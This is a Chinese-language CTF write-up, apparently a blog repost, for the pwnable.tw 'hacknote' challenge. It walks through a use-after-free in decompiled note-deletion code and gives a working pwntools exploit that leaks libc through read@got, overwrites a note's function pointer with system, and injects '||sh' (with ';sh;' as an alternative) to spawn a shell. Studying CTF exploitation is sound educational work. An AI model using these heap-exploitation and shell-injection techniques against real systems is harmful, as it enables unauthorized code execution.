zoukankan      html  css  js  c++  java
  • pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零

    unsigned int sub_80487D4()
    {
      int index; // [esp+4h] [ebp-14h]
      char buf; // [esp+8h] [ebp-10h]
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, &buf, 4u);
      index = atoi(&buf);
      if ( index < 0 || index >= global_idx )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( notelist[index] )
      {
        free(*((void **)notelist[index] + 1));      // free content
                                                    // free后chunk未置零,uaf
        free(notelist[index]);
        puts("Success");
      }
      return __readgsdword(0x14u) ^ v3;
    }

    结构体如下

    ptr[i]->struct    //i<5
    struct _note
    {
        func *addr;    //0x804862b
        int *content;
    }note;

    利用的思路

    note0:    addr(8)+content(16)
    note1:    addr(8)+content(16)
    free note1,note0
    8byte's gadget in fastbin:note0->note1
    note2:    addr(8)+content(8)        //content(8) modified to trigger a func_call puts('read@got'),
                    //read the recv to calculate the libc_base
    print(note1)
    free note2 8byte's gadget in fastbin:note2's func_ptr->note2's content(aka note1's func_ptr) note3: addr(8)+content(8) //note3's content(8) returns the note1's func_ptr, //modify it to trigger a call system('||sh') print(note1)

    脚本

    from pwn import *

    context.log_level='DEBUG'


    r=remote('chall.pwnable.tw',10102)
    file=ELF('./hacknote')
    libc=ELF('./libc_32.so.6')
    '''
    r=process('./hacknote')
    file=ELF('./hacknote')
    libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
    '''

    def add(len,content):
        r.sendlineafter('Your choice :','1')
        r.sendlineafter('Note size :',str(len))
        r.sendafter('Content :',content)

    def delete(index):
        r.sendlineafter('Your choice :','2')
        r.sendlineafter('Index :',str(index))

    def print_note(index):
        r.sendlineafter('Your choice :','3')
        r.sendlineafter('Index :',str(index))

    add(16,'a'*16)    #note0
    add(16,'a'*16)    #note1

    delete(1)
    delete(0)

    read_got=file.got['read']
    fun_addr=0x0804862B
    add(8,p32(fun_addr)+p32(read_got))
    print_note(1)
    read_addr=int(u32(r.recv(4)))
    success('read_addr'+hex(read_addr))
    sys_addr=read_addr-libc.sym['read']+libc.sym['system']

    delete(2)

    #add(8,p32(sys_addr)+';sh;')
    add(8,p32(sys_addr)+'||sh')
    print_note(1)

    r.interactive()

     ps:这里最后执行的system()调用是print_note函数里的

      if ( notelist[index] )
        (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);

    即system传入的参数是notelist[index],所以需要字符串截断;截断的方法是||

    还有一种方法是利用命令注入传入;sh;(或$0等的参数,$0不能字符截断,这里不可行)

    参考web中命令注入漏洞的利用

  • 相关阅读:
    qemu-img check命令详解
    cinder migrate基础内容-1
    lvm常用指令
    ceph 快照,克隆
    http请求工作流程
    Python 生成二维码
    python 往 elasticsearch 存入数据时,文档字段类型问题注意事项
    python 往 elasticsearch 存入数据,然后通过kinaba 检索分析
    git 删除某次提交
    git 强制回滚【覆盖】远程 源码库
  • 原文地址:https://www.cnblogs.com/snip3r/p/10580408.html
Copyright © 2011-2022 走看看